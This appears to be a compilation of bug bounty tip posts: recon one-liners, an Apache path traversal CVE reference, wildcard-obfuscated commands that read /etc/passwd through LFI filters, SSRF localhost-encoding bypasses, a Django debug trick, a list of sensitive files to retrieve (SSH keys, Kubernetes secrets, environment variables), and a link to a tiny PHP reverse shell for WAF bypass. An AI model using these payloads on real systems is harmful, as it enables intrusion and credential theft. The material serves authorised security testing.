Cookie Based Auth Vulnerabilities

https://www.xmind.net/m/2FwJ7D/

#AppSec #hacking #bugbountytips #websecurity #xmind

Scope Based Recon

https://www.xmind.net/m/hKKexj/

#AppSec #hacking #bugbountytips #websecurity #xmind

Search Subdomains using Jldc

curl -s "jldc.me/anubis/subdomains/example.com" | grep -Po '(?<=")[\w*.-]*(?=")'

#bugbounty #bugbountytips

Search JS using Gau

gau -subs DOMAIN |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt

#bugbounty #bugbountytips

Shodan Dorks

https://raw.githubusercontent.com/Dheerajmadhukar/karma_v2/main/img/shodan_osint_manual_recon.txt

#bugbounty #osint #recon #shodan #dorks #bugbountytips

Apache HTTP Server 2.4.49 Path Traversal (CVE-2021-41773)

https://twitter.com/ducnt_/status/1445386557574324234

#cve #apache

LFI Bypass

1) /usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
2) /*/?at$IFS/???/???swd
3)/****/?at$IFS/???/*swd
4)/****/?at$IFS/???/*******swd

(IFS is Internal Field Separator = [space], [tab] or a [newline])

#bugbounty #bugbountytips #lfi

Best SSRF bypass

http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01

#ssrf #bugbounty #bugbountytips

Django Debug Mode Bypass

https://target/login?next=/

https://target/admin
[301 to https://target/admin/login/?next=/admin/]

Change request to [POST]
[500 Django DEBUG mode and vary bad information]

#bugbounty #bugbountytips #bugbountytip

Finding Sensitive Files for BugBounty

— /proc/self/cwd/index.php
— /proc/self/cwd/main.py
— /etc/motd
— /proc/net/udp
— /proc/net/arp
— /proc/self/environ
— /var/run/secrets/kubernetes.io/serviceaccount
— /proc/cmdline
— /proc/mounts
— /etc/motd
— /etc/mysql/my.cnf
— /proc/sched_debug
— /home/ user/.bash_history
— /home/user/.ssh/id_rsa

#sensitive #files #bugbounty #bugbountytips

😈 [ 0x0SojalSec, Md Ismail Šojal ]

The shortest payload for a tiny php reverse shell written in 19 bytes using only non-alphanumeric characters. Hex values inside ⛶ indicate raw bytes.
This will help to bypass WAF and execute PHP reverse shell for RCE.
get more detail about this👇

🔗 https://gist.github.com/0xSojalSec/5bee09c7035985ddc13fddb16f191075

#bugbountyTips #bugbounty

🐥 [ tweet ]